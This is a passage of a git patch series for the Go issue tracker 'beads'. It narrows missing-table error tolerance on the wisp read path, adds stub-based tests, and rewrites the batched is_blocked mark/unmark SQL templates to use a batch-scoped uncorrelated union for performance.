true}) - if err != nil && !dberrors.IsTableNotExist(err) { + if err != nil && !dberrors.IsMissingTable(err, "wisps") { return nil, nil, fmt.Errorf("hydrate neighbors (wisps): %w", err) } for _, iss := range fromWisps { diff --git a/internal/storage/domain/issue_delete_missing_table_test.go b/internal/storage/domain/issue_delete_missing_table_test.go new file mode 100644 index 000000000..d068aa368 --- /dev/null +++ b/internal/storage/domain/issue_delete_missing_table_test.go @@ -0,0 +1,153 @@ +package domain + +import ( + "context" + "errors" + "fmt" + "testing" + + mysql "github.com/go-sql-driver/mysql" + + "github.com/steveyegge/beads/internal/types" +) + +// deleteMissingTable builds the error a Dolt read raises when `table` is +// absent, in the go-mysql-server wording dberrors.MissingTableName parses. +func deleteMissingTable(table string) error { + return &mysql.MySQLError{Number: 1146, Message: "table not found: " + table} +} + +// stubDeleteIssueRepo answers only the reads the delete-preview path makes. +// The embedded interface is nil on purpose: a call this test did not intend +// panics rather than passing quietly. +type stubDeleteIssueRepo struct { + IssueSQLRepository + durable []*types.Issue + wisps []*types.Issue + wispErr error + dependents []string +} + +func (r *stubDeleteIssueRepo) GetByIDs(_ context.Context, _ []string, opts IssueTableOpts) ([]*types.Issue, error) { + if opts.UseWispsTable { + if r.wispErr != nil { + // The real reader wraps, and the callers classify through the wrap. + return nil, fmt.Errorf("db: GetByIDs: %w", r.wispErr) + } + return r.wisps, nil + } + return r.durable, nil +} + +func (r *stubDeleteIssueRepo) FindAllDependents(_ context.Context, _ []string) ([]string, error) { + return r.dependents, nil +} + +// stubDeleteDepRepo returns the same edge set for the durable plane and +// nothing for the wisp plane. +type stubDeleteDepRepo struct { + DependencySQLRepository + durable DepBulkResult +} + +func (r *stubDeleteDepRepo) ListByIssueIDs(_ context.Context, _ []string, opts DepListOpts) (DepBulkResult, error) { + if opts.UseWispsTable { + return DepBulkResult{}, nil + } + return r.durable, nil +} + +func deleteUseCase(issueRepo IssueSQLRepository, depRepo DependencySQLRepository) *issueUseCaseImpl { + return &issueUseCaseImpl{issueRepo: issueRepo, depRepo: depRepo} +} + +// TestPreviewDeleteBrokenWispPlaneIsAnError pins wy-sm01o2's half of the +// wy-237yfi lesson on the delete path: previewDelete's wisp read is +// `FROM wisps LEFT JOIN leases`, so a blanket table-not-exist tolerance +// reported a rig missing `leases` as a rig with no wisp plane and listed live +// wisps under NotFound. +func TestPreviewDeleteBrokenWispPlaneIsAnError(t *testing.T) { + for _, missing := range []string{"leases", "wisp_labels"} { + t.Run(missing, func(t *testing.T) { + gone := deleteMissingTable(missing) + u := deleteUseCase(&stubDeleteIssueRepo{wispErr: gone}, &stubDeleteDepRepo{}) + + _, err := u.previewDelete(t.Context(), []string{"bd-1"}) + if !errors.Is(err, gone) { + t.Fatalf("previewDelete hid a broken wisp plane: %v", err) + } + }) + } +} + +// TestPreviewDeleteMissingWispsTableIsTolerated is the control: a +// pre-migration rig really has no wisps table, and delete still previews. +func TestPreviewDeleteMissingWispsTableIsTolerated(t *testing.T) { + u := deleteUseCase( + &stubDeleteIssueRepo{wispErr: deleteMissingTable("wisps")}, + &stubDeleteDepRepo{}, + ) + + preview, err := u.previewDelete(t.Context(), []string{"bd-1"}) + if err != nil { + t.Fatalf("previewDelete errored on a rig with no wisps table: %v", err) + } + if len(preview.NotFound) != 1 || preview.NotFound[0] != "bd-1" { + t.Fatalf("NotFound = %v, want [bd-1]", preview.NotFound) + } +} + +// connectedOverBrokenWispPlane runs collectConnectedIssues with one durable +// edge, so the neighbour hydration below actually runs, and fails its wisp +// leg with wispErr. +func connectedOverBrokenWispPlane(t *testing.T, wispErr error) (map[string]*types.Issue, error) { + t.Helper() + deps := &stubDeleteDepRepo{durable: DepBulkResult{ + Outgoing: map[string][]*types.Dependency{ + "bd-1": {{IssueID: "bd-1", DependsOnID: "bd-2", Type: types.DepBlocks}}, + }, + }} + u := deleteUseCase(&stubDeleteIssueRepo{wispErr: wispErr}, deps) + out, _, err := u.collectConnectedIssues(t.Context(), []string{"bd-1"}, map[string]bool{"bd-1": true}) + return out, err +} + +// TestCollectConnectedBrokenWispPlaneIsAnError is the second GetByIDs(wisps) +// site: swallowing anything but a missing `wisps` table left the neighbours +// unhydrated behind a nil error. +func TestCollectConnectedBrokenWispPlaneIsAnError(t *testing.T) { + for _, missing := range []string{"leases", "wisp_labels"} { + t.Run(missing, func(t *testing.T) { + gone := deleteMissingTable(missing) + if _, err := connectedOverBrokenWispPlane(t, gone); !errors.Is(err, gone) { + t.Fatalf("hydrate neighbors hid a broken wisp plane: %v", err) + } + }) + } +} + +// TestCollectConnectedMissingWispsTableIsTolerated is that site's control. +func TestCollectConnectedMissingWispsTableIsTolerated(t *testing.T) { + out, err := connectedOverBrokenWispPlane(t, deleteMissingTable("wisps")) + if err != nil { + t.Fatalf("hydrate neighbors errored on a rig with no wisps table: %v", err) + } + if len(out) != 0 { + t.Fatalf("got %d hydrated neighbours, want 0", len(out)) + } +} + +// TestDeleteWispReadUnrelatedErrorPropagates is the fail-open control both +// sites share: a tolerance that cannot parse a table name out of an error +// must not treat it as an absent wisp plane. +func TestDeleteWispReadUnrelatedErrorPropagates(t *testing.T) { + boom := errors.New("connection refused") + + u := deleteUseCase(&stubDeleteIssueRepo{wispErr: boom}, &stubDeleteDepRepo{}) + if _, err := u.previewDelete(t.Context(), []string{"bd-1"}); !errors.Is(err, boom) { + t.Fatalf("previewDelete did not propagate a failed wisp read: %v", err) + } + if _, err := connectedOverBrokenWispPlane(t, boom); !errors.Is(err, boom) { + t.Fatalf("hydrate neighbors did not propagate a failed wisp read: %v", err) + } +} From f7ecd0fc93d1e30b01ee74fff4e2383fb9dcfac7 Mon Sep 17 00:00:00 2001 From: Bee Date: Sat, 12 Sep 2026 06:03:19 -0700 Subject: [PATCH 044/624] perf(issueops): batched is_blocked mark/unmark decide membership through the batch-scoped should-be-blocked union (#6291) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * perf(issueops): batched is_blocked mark/unmark decide membership through the batch-scoped should-be-blocked union The four batched templates (issues/wisps x mark/unmark) spelled out five correlated EXISTS per outer row; the engine re-executed them per candidate row — ~1.5–4.7 s per 200-id batch on committed data and unbounded over a large uncommitted working set (>69 min observed on dolt 2.1.8 during a proxied-server import, gastownhall/beads#6288). They now decide membership through the same uncorrelated union the full repair and the doctor count already use (shouldBeBlockedIDsUnionSQL, bd-t9ypt), scoped to the batch: shouldBeBlockedIDsUnionScopedSQL(depTable, scope) splices `AND d.issue_id IN (batch)` into every leg, and expandBatchTemplate repeats the IN-list placeholders and bound ids for every %s in the template (outer filter + 5 legs). The waits-for leg wraps its dependency rows in a derived table BEFORE the gate predicate is applied: flat, the planner pushed the gate's correlated EXISTS ahead of the type filter and evaluated them against the whole overlay per candidate row (436 s for zero rows); barriered, 0.01 s. dolt 2.1.8, real 19k-issue db, one 200-id batch: committed 1.5–4.7 s → 0.04–0.08 s; uncommitted overlay >24.6 min → 3–8 s (box load dependent). Statement prefixes, the fixpoint loop, the updated_at self-assignment and the error strings are unchanged. Proof: sqlmock issueops suite, container- backed dolt Blocked|IsBlocked suite, golangci-lint clean, 8/8 mutants killed. * test(issueops): pin expandBatchTemplate's percent budget at the fast tier Maintainer review fixups for #6291. No production logic changes — one new fast-tier test plus three comment corrections. The batched mark/unmark templates reach the engine through expandBatchTemplate, which decides how many IN-lists to splice by counting "%s" textually. Nothing pinned that at the fast tier: the sqlmock expectations in blocked_state_result_test.go match an unanchored statement prefix and never call WithArgs, so they stay green against a miscounted template, and a break surfaces only in the container-backed dolt suite. go vet catches a stray percent only when it sits in the Sprintf format literal. waitsForGateBlockedSQL is spliced in as an argument, so a future LIKE 'x%' there is invisible to vet and to sqlmock both — verified by counterfactual: injecting one leaves %s at 6 while total % goes to 7, vet stays clean, the sqlmock suite stays green, and only the new TestBatchedTemplatePercentBudget fires. The stray-percent guard, not the %s count, is the assertion that bites. Comment corrections, all pre-existing drift this change is the natural moment to fix: - dolt/store.go recomputeAllBlocked justified openLongTimeoutConn with "the full pass's batched UPDATEs carry five correlated EXISTS subqueries each". Wrong twice over: the full pass runs unbatched whole-table semi-join UPDATEs (see recomputeIsBlockedCounting) and has used the decorrelated union since bd-t9ypt. Load/deadline rationale kept verbatim. - CountIsBlockedInconsistenciesInTx said detection and repair "share no SQL"; countStaleIsBlockedSQL has built on shouldBeBlockedIDsUnionSQL since bd-t9ypt, and this PR's own comment 60 lines above now says all three consumers share the one definition. - blocked_full_repair_test.go's header claimed the differential half cross-checks the write path against the full repair on every leg. Both sides now render from one builder, so it validates scope-splicing and the waits-for barrier; per-leg semantics are pinned by the absolute fixture expectations, now called out so they are not dropped as redundant. Validation: issueops suite green; go vet clean; the container-backed dolt blocked family green on the real engine, 27/27 PASS with zero skips, including TestRecomputeAllIsBlocked_FullRepairAllLegsDifferential. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Eddie the Engineer Co-authored-by: Claude Opus 5 --- .../storage/dolt/blocked_full_repair_test.go | 21 +- internal/storage/dolt/store.go | 12 +- .../storage/issueops/blocked_consistency.go | 80 ++++-- internal/storage/issueops/blocked_state.go | 269 ++++++------------ .../issueops/blocked_state_template_test.go | 95 +++++++ 5 files changed, 263 insertions(+), 214 deletions(-) create mode 100644 internal/storage/issueops/blocked_state_template_test.go diff --git a/internal/storage/dolt/blocked_full_repair_test.go b/internal/storage/dolt/blocked_full_repair_test.go index bcadc7332..a224179ba 100644 --- a/internal/storage/dolt/blocked_full_repair_test.go +++ b/internal/storage/dolt/blocked_full_repair_test.go @@ -1,10 +1,9 @@ package dolt -// Differential coverage for the full is_blocked repair (bd-t9ypt): the -// full-repair SQL must agree with the scoped per-write templates on EVERY -// leg of the should-be-blocked disjunction — issue blockers, wisp blockers, -// issue parents, wisp parents, and the waits-for gate in all its metadata -// modes (default all-children, any-children, also_blocks, +// Coverage for the full is_blocked repair (bd-t9ypt) across EVERY leg of the +// should-be-blocked disjunction — issue blockers, wisp blockers, issue +// parents, wisp parents, and the waits-for gate in all its metadata modes +// (default all-children, any-children, also_blocks, // also_blocks-over-any-children) — on both the issues table and the wisps // table. // @@ -15,6 +14,18 @@ package dolt // tests in blocked_consistency_test.go pin legs 1 and 3 (issue blocker, // issue parent) with exact corrected-row counts; this test pins the // remaining legs, which would otherwise have no full-repair coverage. +// +// What the differential half proves narrowed in gastownhall/beads#6291: both +// sides — the ground-truth producer (batched templates) and the system under +// test (full repair) — now render from the one shouldBeBlockedIDsUnionSQL +// builder, so write-path-vs-full-repair agreement no longer cross-checks two +// independently written SQL forms. It validates scope-splicing (the batched +// legs' `AND d.issue_id IN (batch)`) and the waits-for DISTINCT barrier, which +// the two sides do not share. Per-leg semantics are instead pinned by the +// absolute fixture expectations in the "Sanity-pin the interesting +// expectations" block below — hardcoded ids covering all five legs and both +// tables, on the write path. Those pins are what makes a shared-builder leg +// bug fail here: do not drop them as redundant with the differential compare. import ( "context" diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 2a7604445..2be25aeda 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -4557,12 +4557,12 @@ func (s *DoltStore) RecomputeAllBlocked(ctx context.Context) (int, error) { } func (s *DoltStore) recomputeAllBlocked(ctx context.Context) (int, error) { - // The full pass's batched UPDATEs carry five correlated EXISTS subqueries - // each; on a loaded shared server a single batch can outlive the pool's - // per-I/O deadline (default 10s, see buildServerDSN), killing the repair - // with "i/o timeout" — and the retry dies the same way, so the owed - // recompute never lands (bd-bn8jo). Run it on a dedicated long-timeout - // connection like the other known-long maintenance ops. + // The full pass runs unbatched whole-table semi-join UPDATEs, looped until + // the fixpoint converges; on a loaded shared server a single one can + // outlive the pool's per-I/O deadline (default 10s, see buildServerDSN), + // killing the repair with "i/o timeout" — and the retry dies the same way, + // so the owed recompute never lands (bd-bn8jo). Run it on a dedicated + // long-timeout connection like the other known-long maintenance ops. db, err := s.openLongTimeoutConn() if err != nil { return 0, err diff --git a/internal/storage/issueops/blocked_consistency.go b/internal/storage/issueops/blocked_consistency.go index 015464647..b44136f0f 100644 --- a/internal/storage/issueops/blocked_consistency.go +++ b/internal/storage/issueops/blocked_consistency.go @@ -265,12 +265,14 @@ func RecomputeAllIsBlockedInTx(ctx context.Context, tx DBTX) (int64, error) { // // Unlike the scoped passes, the full repair runs UNBATCHED semi-join statements // (markAllBlockedSQL/unmarkAllBlockedSQL): the id lists here cover every row by -// construction, so an IN-batch adds nothing but statement count, and the -// batched templates' OR-of-correlated-EXISTS shape cannot be decorrelated by -// the engine — per-outer-row subquery execution made the full repair cost -// ~80+ statement-seconds on fast hardware and >600s on small cloud CPUs -// (bd-t9ypt). The id lists are still captured for the journal snapshot, and -// len(wispIDs) doubles as the "wisps table exists and has rows" signal. +// construction, so an IN-batch adds nothing but statement count. This was the +// first home of the decorrelated union — the batched templates' original +// OR-of-correlated-EXISTS shape ran per outer row and made the full repair +// cost ~80+ statement-seconds on fast hardware and >600s on small cloud CPUs +// (bd-t9ypt); the batched templates now use the same union scoped to their +// batch (gastownhall/beads#6288). The id lists are still captured for the +// journal snapshot, and len(wispIDs) doubles as the "wisps table exists and +// has rows" signal. func recomputeIsBlockedCounting(ctx context.Context, tx DBTX, issueIDs, wispIDs []string) (int64, error) { if len(issueIDs) == 0 && len(wispIDs) == 0 { return 0, nil @@ -365,47 +367,76 @@ func unmarkAllBlockedSQL(table, alias, depTable string) string { // shouldBeBlockedIDsUnionSQL selects, UNCORRELATED with any outer row, every // depTable issue_id that currently has a reason to be blocked: one UNION leg -// per branch of the correlated disjunction inside the batched mark/unmark -// templates in blocked_state.go, in the same order. Semantically, -// `.id IN (this select)` ≡ that disjunction: every branch -// of the disjunction correlates with the outer row ONLY through -// d.issue_id = .id, so membership of the outer id in the union of each -// branch's issue_ids is the same predicate — but the engine evaluates this -// form once as hash lookups instead of per outer row (bd-t9ypt). The lockstep -// test pins the two forms to each other. +// per reason — an open blocks/conditional-blocks target (issue or wisp), a +// blocked parent-child parent (issue or wisp), a blocking waits-for gate. +// Semantically, `.id IN (this select)` ≡ the disjunction of those +// reasons correlated on d.issue_id = .id, which is what the batched +// mark/unmark templates in blocked_state.go once spelled out as five +// correlated EXISTS — but the engine evaluates this form once as hash +// lookups instead of per outer row (bd-t9ypt). Full repair, doctor count and +// the batched templates (scoped, see below) now share this one definition. // //nolint:gosec // G201: depTable is constant; waitsForGateBlockedSQL is a constant template. func shouldBeBlockedIDsUnionSQL(depTable string) string { + return shouldBeBlockedIDsUnionScopedSQL(depTable, "") +} + +// shouldBeBlockedIDsUnionScopedSQL is shouldBeBlockedIDsUnionSQL with an +// extra predicate on the dependency row appended to every leg's WHERE — "" for +// the whole table (full repair, doctor count), batchScopeSQL for the batched +// mark/unmark templates in blocked_state.go, which confine each leg to +// d.issue_id IN (batch) so the union stays index-sized per statement. scope is +// spliced verbatim: a %s inside it survives this Sprintf for the batch runner. +// +// The waits-for leg wraps its dependency rows in a DISTINCT derived table +// BEFORE the gate predicate (waitsForGateBlockedSQL, six correlated EXISTS +// over the parent-child children and the spawner) is applied, so the engine +// narrows to the leg's few waits-for rows first and evaluates the gate only +// per surviving row. Written flat, dolt 2.1.8's planner pushed the gate's +// correlated subqueries ahead of the type filter and re-ran them against the +// whole overlay for every candidate row — over a 19k-row uncommitted working +// set the flat leg took 436 s while returning zero rows; behind the derived +// table, 0.01 s (gastownhall/beads#6288, wy-pyrus4). The DISTINCT is +// semantically free (the leg feeds a UNION, and the gate depends only on the +// projected columns) and is what makes the barrier structural: a plain +// single-table derived table is the mergeable shape MySQL-dialect planners +// fold back into the outer query; a DISTINCT one is materialized. +// +//nolint:gosec // G201: depTable and scope are constants; waitsForGateBlockedSQL is a constant template. +func shouldBeBlockedIDsUnionScopedSQL(depTable, scope string) string { return fmt.Sprintf(` SELECT d.issue_id FROM %[1]s d JOIN issues t ON t.id = d.depends_on_issue_id - WHERE d.issue_id IS NOT NULL + WHERE d.issue_id IS NOT NULL %[3]s AND (d.type = 'blocks' OR d.type = 'conditional-blocks') AND t.status <> 'closed' AND t.status <> 'pinned' UNION SELECT d.issue_id FROM %[1]s d JOIN wisps t ON t.id = d.depends_on_wisp_id - WHERE d.issue_id IS NOT NULL + WHERE d.issue_id IS NOT NULL %[3]s AND (d.type = 'blocks' OR d.type = 'conditional-blocks') AND t.status <> 'closed' AND t.status <> 'pinned' UNION SELECT d.issue_id FROM %[1]s d JOIN issues p ON p.id = d.depends_on_issue_id - WHERE d.issue_id IS NOT NULL + WHERE d.issue_id IS NOT NULL %[3]s AND d.type = 'parent-child' AND p.is_blocked = 1 UNION SELECT d.issue_id FROM %[1]s d JOIN wisps p ON p.id = d.depends_on_wisp_id - WHERE d.issue_id IS NOT NULL + WHERE d.issue_id IS NOT NULL %[3]s AND d.type = 'parent-child' AND p.is_blocked = 1 UNION - SELECT d.issue_id FROM %[1]s d - WHERE d.issue_id IS NOT NULL - AND d.type = 'waits-for' - AND (%[2]s) - `, depTable, waitsForGateBlockedSQL) + SELECT d.issue_id FROM ( + SELECT DISTINCT d.issue_id, d.depends_on_issue_id, d.depends_on_wisp_id, d.metadata + FROM %[1]s d + WHERE d.issue_id IS NOT NULL %[3]s + AND d.type = 'waits-for' + ) d + WHERE (%[2]s) + `, depTable, waitsForGateBlockedSQL, scope) } // CountIsBlockedInconsistenciesInTx reports how many issue and wisp rows carry a @@ -413,7 +444,8 @@ func shouldBeBlockedIDsUnionSQL(depTable string) string { // detection behind the bd doctor "Blocked State" check (bd-6dnrw.37); the // repair is RecomputeAllIsBlockedInTx. // -// The two share no SQL but are pinned together by the blocked-consistency +// Both derive their membership test from the one shouldBeBlockedIDsUnionSQL +// builder above, and they are pinned together by the blocked-consistency // lockstep test: a converged database counts 0, and any row this counts is one // a recompute pass changes. The count is a single-pass lower bound — a // corrupted parent's children are only counted on the pass after the parent is diff --git a/internal/storage/issueops/blocked_state.go b/internal/storage/issueops/blocked_state.go index fb62b1e16..6cf16fad4 100644 --- a/internal/storage/issueops/blocked_state.go +++ b/internal/storage/issueops/blocked_state.go @@ -4,6 +4,7 @@ import ( "context" "database/sql" "fmt" + "strings" "github.com/steveyegge/beads/internal/types" ) @@ -203,97 +204,96 @@ func markIsBlockedPassForIssuesInTx(ctx context.Context, tx DBTX, ids []string) // clones that recomputed the same flip at different times, bd-578h9.19) and // makes stale-guard/conflict-guard consumers treat the row as user-edited. // An explicit assignment suppresses the ON UPDATE clause. +// +// Both templates decide membership through shouldBeBlockedIDsUnionScopedSQL, +// the same uncorrelated union the full repair and the doctor count use +// (blocked_consistency.go), scoped to the batch: one derived blocked set per +// batch, computed once and probed by hash. The previous shape — five +// correlated EXISTS per outer row — was re-executed per row by the engine: +// ~4 s per 200-id batch on committed, indexed data, and unbounded (>69 min +// observed on dolt 2.1.8) over a large uncommitted working set, where every +// probe re-read the uncommitted overlay (gastownhall/beads#6288). +// +// The batch IN-list therefore appears more than once per statement — the +// outer row filter plus one per union leg; expandBatchTemplate repeats the +// placeholders and the bound ids to match. + +// batchScopeSQL is the per-leg predicate that confines the should-be-blocked +// union to the batch (see shouldBeBlockedIDsUnionScopedSQL); its %s is filled +// with the batch placeholders by expandBatchTemplate, never by fmt here. +const batchScopeSQL = "AND d.issue_id IN (%s)" + func markBlockedTemplateForIssues() string { - return fmt.Sprintf(` - UPDATE issues i SET i.is_blocked = 1, i.updated_at = i.updated_at - WHERE i.id IN (%%s) - AND i.is_blocked = 0 - AND i.status <> 'closed' AND i.status <> 'pinned' - AND ( - EXISTS ( - SELECT 1 FROM dependencies d - JOIN issues t ON t.id = d.depends_on_issue_id - WHERE d.issue_id = i.id - AND (d.type = 'blocks' OR d.type = 'conditional-blocks') - AND t.status <> 'closed' AND t.status <> 'pinned' - ) - OR EXISTS ( - SELECT 1 FROM dependencies d - JOIN wisps t ON t.id = d.depends_on_wisp_id - WHERE d.issue_id = i.id - AND (d.type = 'blocks' OR d.type = 'conditional-blocks') - AND t.status <> 'closed' AND t.status <> 'pinned' - ) - OR EXISTS ( - SELECT 1 FROM dependencies d - JOIN issues p ON p.id = d.depends_on_issue_id - WHERE d.issue_id = i.id - AND d.type = 'parent-child' - AND p.is_blocked = 1 - ) - OR EXISTS ( - SELECT 1 FROM dependencies d - JOIN wisps p ON p.id = d.depends_on_wisp_id - WHERE d.issue_id = i.id - AND d.type = 'parent-child' - AND p.is_blocked = 1 - ) - OR EXISTS ( - SELECT 1 FROM dependencies d - WHERE d.issue_id = i.id AND d.type = 'waits-for' - AND (%s) - ) - ) - `, waitsForGateBlockedSQL) + return markBlockedTemplate("issues", "i", "dependencies") } func unmarkBlockedTemplateForIssues() string { + return unmarkBlockedTemplate("issues", "i", "dependencies") +} + +func markBlockedTemplateForWisps() string { + return markBlockedTemplate("wisps", "w", "wisp_dependencies") +} + +func unmarkBlockedTemplateForWisps() string { + return unmarkBlockedTemplate("wisps", "w", "wisp_dependencies") +} + +// markBlockedTemplate is the batched mark statement for one table: the +// batch-scoped analog of markAllBlockedSQL. The union is confined to the +// batch's own dependency rows, so `.id IN (union)` is exactly the +// old correlated disjunction for every id in the batch. +// +//nolint:gosec // G201: table, alias, and depTable are constants from the four callers above. +func markBlockedTemplate(table, alias, depTable string) string { return fmt.Sprintf(` - UPDATE issues i SET i.is_blocked = 0, i.updated_at = i.updated_at - WHERE i.id IN (%%s) - AND i.is_blocked = 1 - AND ( - i.status = 'closed' OR i.status = 'pinned' - OR ( - NOT EXISTS ( - SELECT 1 FROM dependencies d - JOIN issues t ON t.id = d.depends_on_issue_id - WHERE d.issue_id = i.id - AND (d.type = 'blocks' OR d.type = 'conditional-blocks') - AND t.status <> 'closed' AND t.status <> 'pinned' - ) - AND NOT EXISTS ( - SELECT 1 FROM dependencies d - JOIN wisps t ON t.id = d.depends_on_wisp_id - WHERE d.issue_id = i.id - AND (d.type = 'blocks' OR d.type = 'conditional-blocks') - AND t.status <> 'closed' AND t.status <> 'pinned' - ) - AND NOT EXISTS ( - SELECT 1 FROM dependencies d - JOIN issues p ON p.id = d.depends_on_issue_id - WHERE d.issue_id = i.id - AND d.type = 'parent-child' - AND p.is_blocked = 1 - ) - AND NOT EXISTS ( - SELECT 1 FROM dependencies d - JOIN wisps p ON p.id = d.depends_on_wisp_id - WHERE d.issue_id = i.id - AND d.type = 'parent-child' - AND p.is_blocked = 1 - ) - AND NOT EXISTS ( - SELECT 1 FROM dependencies d - WHERE d.issue_id = i.id AND d.type = 'waits-for' - AND (%s) - ) - ) - ) - `, waitsForGateBlockedSQL) + UPDATE %[1]s %[2]s SET %[2]s.is_blocked = 1, %[2]s.updated_at = %[2]s.updated_at + WHERE %[2]s.id IN (%%s) + AND %[2]s.is_blocked = 0 + AND %[2]s.status <> 'closed' AND %[2]s.status <> 'pinned' + AND %[2]s.id IN (%[3]s) + `, table, alias, shouldBeBlockedIDsUnionScopedSQL(depTable, batchScopeSQL)) +} + +// unmarkBlockedTemplate is the batched unmark statement for one table: the +// batch-scoped analog of unmarkAllBlockedSQL. NOT IN is null-hostile; the +// union's d.issue_id IS NOT NULL guards keep it total. +// +//nolint:gosec // G201: table, alias, and depTable are constants from the four callers above. +func unmarkBlockedTemplate(table, alias, depTable string) string { + return fmt.Sprintf(` + UPDATE %[1]s %[2]s SET %[2]s.is_blocked = 0, %[2]s.updated_at = %[2]s.updated_at + WHERE %[2]s.id IN (%%s) + AND %[2]s.is_blocked = 1 + AND ( %[2]s.status = 'closed' OR %[2]s.status = 'pinned' + OR %[2]s.id NOT IN (%[3]s) ) + `, table, alias, shouldBeBlockedIDsUnionScopedSQL(depTable, batchScopeSQL)) +} + +// expandBatchTemplate fills every %s in a batched template with the same +// IN-list placeholders and repeats the bound ids once per occurrence, in +// order. Templates carry the batch list in the outer row filter and in each +// leg of the scoped union (six occurrences today); a template with a single +// %s degrades to the plain Sprintf it always was. The count is textual, so a +// template must contain no other percent sign (no LIKE 'x%' pattern, no %%) +// and at least one %s — a template with none is a programmer error that +// surfaces as an %!(EXTRA …) syntax error at exec. +// +//nolint:gosec // G201: tmpl is a constant template; only IN-clause placeholders are formatted in. +func expandBatchTemplate(tmpl, placeholders string, args []interface{}) (string, []interface{}) { + n := strings.Count(tmpl, "%s") + if n <= 1 { + return fmt.Sprintf(tmpl, placeholders), args + } + fills := make([]interface{}, n) + expanded := make([]interface{}, 0, n*len(args)) + for k := range fills { + fills[k] = placeholders + expanded = append(expanded, args...) + } + return fmt.Sprintf(tmpl, fills...), expanded } -//nolint:gosec // G201: SQL templates are constant; only IN-clause placeholders are formatted in. func recomputeIsBlockedPassForWispsInTx(ctx context.Context, tx DBTX, ids []string) (int64, error) { if len(ids) == 0 { return 0, nil @@ -309,97 +309,6 @@ func markIsBlockedPassForWispsInTx(ctx context.Context, tx DBTX, ids []string) ( return runMarkBatchedInTx(ctx, tx, markBlockedTemplateForWisps(), ids) } -func markBlockedTemplateForWisps() string { - return fmt.Sprintf(` - UPDATE wisps w SET w.is_blocked = 1, w.updated_at = w.updated_at - WHERE w.id IN (%%s) - AND w.is_blocked = 0 - AND w.status <> 'closed' AND w.status <> 'pinned' - AND ( - EXISTS ( - SELECT 1 FROM wisp_dependencies d - JOIN issues t ON t.id = d.depends_on_issue_id - WHERE d.issue_id = w.id - AND (d.type = 'blocks' OR d.type = 'conditional-blocks') - AND t.status <> 'closed' AND t.status <> 'pinned' - ) - OR EXISTS ( - SELECT 1 FROM wisp_dependencies d - JOIN wisps t ON t.id = d.depends_on_wisp_id - WHERE d.issue_id = w.id - AND (d.type = 'blocks' OR d.type = 'conditional-blocks') - AND t.status <> 'closed' AND t.status <> 'pinned' - ) - OR EXISTS ( - SELECT 1 FROM wisp_dependencies d - JOIN issues p ON p.id = d.depends_on_issue_id - WHERE d.issue_id = w.id - AND d.type = 'parent-child' - AND p.is_blocked = 1 - ) - OR EXISTS ( - SELECT 1 FROM wisp_dependencies d - JOIN wisps p ON p.id = d.depends_on_wisp_id - WHERE d.issue_id = w.id - AND d.type = 'parent-child' - AND p.is_blocked = 1 - ) - OR EXISTS ( - SELECT 1 FROM wisp_dependencies d - WHERE d.issue_id = w.id AND d.type = 'waits-for' - AND (%s) - ) - ) - `, waitsForGateBlockedSQL) -} - -func unmarkBlockedTemplateForWisps() string { - return fmt.Sprintf(` - UPDATE wisps w SET w.is_blocked = 0, w.updated_at = w.updated_at - WHERE w.id IN (%%s) - AND w.is_blocked = 1 - AND ( - w.status = 'closed' OR w.status = 'pinned' - OR ( - NOT EXISTS ( - SELECT 1 FROM wisp_dependencies d - JOIN issues t ON t.id = d.depends_on_issue_id - WHERE d.issue_id = w.id - AND (d.type = 'blocks' OR d.type = 'conditional-blocks') - AND t.status <> 'closed' AND t.status <> 'pinned' - ) - AND NOT EXISTS ( - SELECT 1 FROM wisp_dependencies d - JOIN wisps t ON t.id = d.depends_on_wisp_id - WHERE d.issue_id = w.id - AND (d.type = 'blocks' OR d.type = 'conditional-blocks') - AND t.status <> 'closed' AND t.status <> 'pinned' - ) - AND NOT EXISTS ( - SELECT 1 FROM wisp_dependencies d - JOIN issues p ON p.id = d.depends_on_issue_id - WHERE d.issue_id = w.id - AND d.type = 'parent-child' - AND p.is_blocked = 1 - ) - AND NOT EXISTS ( - SELECT 1 FROM wisp_dependencies d - JOIN wisps p ON p.id = d.depends_on_wisp_id - WHERE d.issue_id = w.id - AND d.type = 'parent-child' - AND p.is_blocked = 1 - ) - AND NOT EXISTS ( - SELECT 1 FROM wisp_dependencies d - WHERE d.issue_id = w.id AND d.type = 'waits-for' - AND (%s) - ) - ) - ) - `, waitsForGateBlockedSQL) -} - -//nolint:gosec // G201: callers pass constant templates; only IN-clause placeholders are formatted in. func runMarkUnmarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl, unmarkTmpl string, ids []string) (int64, error) { var changed int64 for start := 0; start < len(ids); start += queryBatchSize { @@ -409,7 +318,8 @@ func runMarkUnmarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl, unmarkTmpl } placeholders, args := buildSQLInClause(ids[start:end]) - res, err := tx.ExecContext(ctx, fmt.Sprintf(markTmpl, placeholders), args...) + stmt, stmtArgs := expandBatchTemplate(markTmpl, placeholders, args) + res, err := tx.ExecContext(ctx, stmt, stmtArgs...) if err != nil { return changed, fmt.Errorf("recompute is_blocked (mark): %w", err) } @@ -419,7 +329,8 @@ func runMarkUnmarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl, unmarkTmpl } changed += n - res, err = tx.ExecContext(ctx, fmt.Sprintf(unmarkTmpl, placeholders), args...) + stmt, stmtArgs = expandBatchTemplate(unmarkTmpl, placeholders, args) + res, err = tx.ExecContext(ctx, stmt, stmtArgs...) if err != nil { return changed, fmt.Errorf("recompute is_blocked (unmark): %w", err) } @@ -432,7 +343,6 @@ func runMarkUnmarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl, unmarkTmpl return changed, nil } -//nolint:gosec // G201: callers pass constant templates; only IN-clause placeholders are formatted in. func runMarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl string, ids []string) (int64, error) { var changed int64 for start := 0; start < len(ids); start += queryBatchSize { @@ -442,7 +352,8 @@ func runMarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl string, ids []str } placeholders, args := buildSQLInClause(ids[start:end]) - res, err := tx.ExecContext(ctx, fmt.Sprintf(markTmpl, placeholders), args...) + stmt, stmtArgs := expandBatchTemplate(markTmpl, placeholders, args) + res, err := tx.ExecContext(ctx, stmt, stmtArgs...) if err != nil { return changed, fmt.Errorf("mark is_blocked: %w", err) } diff --git a/internal/storage/issueops/blocked_state_template_test.go b/internal/storage/issueops/blocked_state_template_test.go new file mode 100644 